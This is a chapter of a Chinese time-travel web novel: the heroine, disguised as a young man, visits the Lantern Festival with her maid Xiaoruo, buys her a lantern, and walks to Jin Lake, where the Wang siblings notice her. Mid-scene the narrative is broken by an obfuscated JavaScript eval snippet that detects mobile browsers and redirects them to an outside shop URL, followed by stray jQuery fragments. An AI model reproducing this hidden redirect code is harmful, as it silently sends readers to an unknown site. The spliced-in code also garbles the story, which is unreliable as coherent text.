108. 第108章

作品:《重生之誓不共夫

    夜色渐浓,白日里的暖阳早已没了踪迹,一轮皎洁的圆月高悬夜空,清辉洒满大地。今日是正月十五,上元佳节。


    上官婉宁独自站在院中,仰头望着那轮圆月,眸光微怔。现代的此刻,该是满城灯火、阖家团圆的元宵夜吧?花灯璀璨,汤圆香甜,还有亲人围坐的欢声笑语。可如今,她身处这陌生的时空,身边空无一人。


    晚风卷着寒意袭来,吹得她衣袂翻飞。


    她环顾四周,空荡荡的小院里,只有几盏昏黄的灯笼在风中摇曳,光影斑驳,更添寂寥。


    她不由得想起君枫林,想起从前,他每日必会来此陪她说话,有时是带来新得的字帖,有时是送来刚出炉的点心,哪怕只是静静坐着,也能驱散满院冷清。可自那日一别,他便再也没有来过。


    她又想起李明宇,想起那个自称“乐儿”的友人,想起他眉眼间的爽朗与温柔。可这半个多月来,他也像是人间蒸发了一般,杳无音讯。


    一股前所未有的孤独与落寞,如潮水般将她淹没。她抱紧双臂,却依旧觉得寒意刺骨。


    “公子。”


    小若的声音忽然从身后传来,打断了她的思绪。


    上官婉宁回过神,转过身,声音轻淡:“小若,今夜的街市上,可有灯会?”


    小若闻言,眼睛一亮,脸上满是向往的神色:“有的!公子,今日是上元佳节,一年一度的开春灯会便在今夜。听说街市上早已挂满了花灯,还有猜灯谜、耍杂耍的,此刻定是人山人海,热闹极了!”


    看着小若那副雀跃的模样,上官婉宁的心弦轻轻一动,她沉吟片刻,缓缓道:“那我们也去逛逛吧。”


    “啊?”小若惊得瞪大了眼睛,满脸不敢置信,“公子,您不是素来不喜热闹的吗?这些日子您又……”


    上官婉宁没有解释,只是提步朝门口走去,衣衫下摆扫过石阶,带起一片细碎的声响:“走吧。”


    小若愣了一瞬,随即反应过来,脸上绽开灿烂的笑容,连忙快步跟上:“哎!公子,等等小若!”


    长街之上,果然是一派灯火辉煌的景象。各式各样的花灯挂满了街道两旁,兔子灯、莲花灯、走马灯,流光溢彩,将夜色映照得如同白昼。街上人头攒动,摩肩接踵,到处都是欢声笑语。


    上官婉宁看着身边穿梭而过的年轻男女,不少姑娘家都蒙着轻纱,只露出一双含情脉脉的眸子,与身旁的少年郎并肩而行,眉眼间满是羞涩与欢喜。


    她心中不由得暗忖:这古代的上元节,莫不是也如现代的情人节一般,是年轻男女互诉衷肠的日子?


    正想着,她忽然察觉到身边的小若停下了脚步,目光痴痴地盯着街角的一个花灯摊。摊上摆着一盏小巧玲珑的兔子灯,灯身绘着精致的牡丹花纹,烛光摇曳,煞是好看。


    上官婉宁顺着她的目光看去,唇角勾起一抹浅淡的笑意:“喜欢便买下来吧。”


    小若猛地回过神,脸颊瞬间染上一层绯红,连忙摆手,低着头往前走:“不……不用了公子,我们还是快些去前面看看吧。”


    上官婉宁望着她那羞涩的背影,眸中闪过一丝疑惑,却还是停下脚步,唤住摊主,买下了那盏兔子灯。


    她提着花灯,快步追上小若,将灯递到她面前。暖黄的烛光映着她清冷的眉眼,竟添了几分柔和。“喏,送你。”


    小若看着那盏精致的兔子灯,又看了看上官婉宁,整个人都愣住了,双手垂在身侧,竟忘了去接。


    她的脸越来越红,最后竟红得像熟透的苹果,连耳根都不放过,只能窘迫地低下头,不敢看她。


    上官婉宁见她这般模样,心中的疑惑更甚,蹙眉道:“怎么?不喜欢?”


    “不是的!”小若连忙抬头,声音细若蚊蚋,带着浓浓的羞涩,“公子,我不是不喜欢,只是……只是这花灯,不能随便送的。”


    上官婉宁挑眉,越发不解。


    周围的行人渐渐投来好奇的目光,毕竟,一个容貌俊秀、气质清冷的“公子”,提着一盏兔子灯,对着自家丫环这般温柔,实在是太过惹眼。不少人都停下脚步,对着他们指指点点,低声议论。


    上官婉宁无视那些目光,只是看着小若,语气平淡:“若不喜欢这个,便去挑别的,无妨。”


    小若这才小心翼翼地接过花灯,指尖触碰到微凉的灯架,心跳得越发厉害。


    她攥着灯绳,小声问道:“公子,您当真不知,在这上元节里,男子送女子花灯,是何意吗?”


    上官婉宁一怔,茫然地摇了摇头。


    小若咬着唇,脸颊依旧绯红,声音软糯地解释道:“这送花灯啊,是男子向心仪的女子表达情意的信物,就好比……就好比寻常人家定情的玉佩一般。”


    “原来如此。”上官婉宁恍然大悟,心中暗暗腹诽:原来这小小的花灯,竟堪比现代的玫瑰花。她看着小若手中的兔子灯,又看了看她羞涩的模样,不由得轻笑一声,“倒是我考虑不周了。”


    小若跟着上官婉宁久了,性子也沾染了几分她的洒脱,少了几分古代女子的拘谨。


    她捧着花灯,脸上的红晕渐渐褪去,取而代之的是满满的欢喜,仰头看着上官婉宁,眉眼弯弯:“不过没关系!只要是公子送的东西,小若都喜欢!方才只是……只是周围人太多,小若有些不好意思罢了。”


    上官婉宁闻言,目光随意地扫过四周,果然见不少人还在偷偷打量她们。


    她收回目光,淡淡道:“听闻金湖的夜色极美,不如我们去那里看看,避开这喧嚣。”


    小若眼睛一亮,连忙点头:“好呀!金湖的夜景素来是京城一绝,公子还未曾去过呢!那里的花灯倒映在湖面上,美极了!”


    上官婉宁颔首,率先转身朝城外走去。


    小若提着兔子灯,蹦蹦跳跳地跟在她身后,暖黄的烛光随着她的脚步轻轻摇晃,在青石板路上投下斑驳的光影。


    小若一路同上官婉宁说说笑笑,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358693|196056||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两人悠闲地穿过热闹的长街,走过寂静的小巷,约莫半个时辰的路程,才抵达城外的金湖。


    夜色如纱,却被满城摇曳的花灯撩拨得透亮。金湖岸边,盏盏彩灯倒映在碧波里,流光浮动,竟将这暗夜映照得恍若白昼。


    上官婉宁静立在湖畔,晚风拂过她素色的衣袂,带起一缕极淡的香。


    她垂眸望着脚下的湖水,那水色竟是极清透的宝石蓝,澄澈得能映出漫天繁星的影子。心底忽的漫过一丝怅然——现代的都市里,这般澄澈的湖水早已难寻,目之所及,不是浑浊的绿,便是泛着油污的灰黑。


    而这金湖的水,清可见底,连湖面上漂浮的水草,都带着一股沁人心脾的宁和香气。星光垂落,晚风轻吟,天地间仿佛只剩下这一片静谧。


    她紧绷的唇角,竟不自觉地漾开一抹极淡的笑意,眉眼间的清冷,也柔和了几分。


    身后的小若将这一幕看在眼里,忍不住轻笑出声:“公子,这金湖的夜色,好像比平日里要动人几分,尤其是今夜,花灯映着湖水,真是说不出的美。”


    上官婉宁微微颔首,唇边的笑意未减,声音轻得像风拂过水面:“确实很美。”


    今夜她穿了一件米白色的外袍,料子极轻,走动时如流云曳地。平日里她眉眼间总是覆着一层疏离的冷意,此刻被这湖光月色一衬,那冷意竟淡去了大半,露出几分难得的清新秀雅。素净的衣装,衬得她身姿愈发挺拔,气质更是脱俗得如同月下谪仙,叫人忍不住驻足回望。


    不远处,一个约莫十六岁的少年公子,正看得失了神。他怔怔地望着那道素色身影,心头暗叹:这般清雅出尘的人物,只可惜是个男儿身。纵然满心遗憾,他却舍不得挪开脚步,只远远地立着,仿佛在欣赏一幅不可多得的山水画卷,连目光都变得温柔起来。


    没过多久,一个俏生生的丫鬟快步走到少年身边,恭恭敬敬地福了福身:“二公子,三小姐请您过去呢。”


    少年回过神,唇边漾起一抹爽朗的笑,应了声“知道了”。临行前,他还是忍不住回头,深深地望了上官婉宁一眼,这才朝着湖边的亭子快步走去。


    亭子里,君枫林正凭栏而立,见少年走来,便笑着打趣:“亚俊,今夜帝都花灯节,美人如过江之鲫,你莫不是看中了哪家姑娘,竟魂不守舍的?”


    来人正是王家二公子王亚俊,他性子洒脱,闻言朗声大笑:“枫林哥说笑了!这世上再美的女子,也比不上我家小妹。不过说真的,方才我倒是瞧见一个极特别的人,只可惜……他与你我一样,都是男儿身。”说到最后,他惋惜地摇了摇头,满脸的遗憾。


    一旁的王问玉听了这话,脸颊微红,忍不住嗔道:“二哥,你这话若是被梦琪姐听见了,看她不罚你。”


    王亚俊闻言,挤了挤眼睛,一副嬉皮笑脸的模样。


    王问玉却来了兴致,凑近了些,好奇地追问:“二哥,那人当真生得比女子还美吗?竟能让你这般念念不忘。”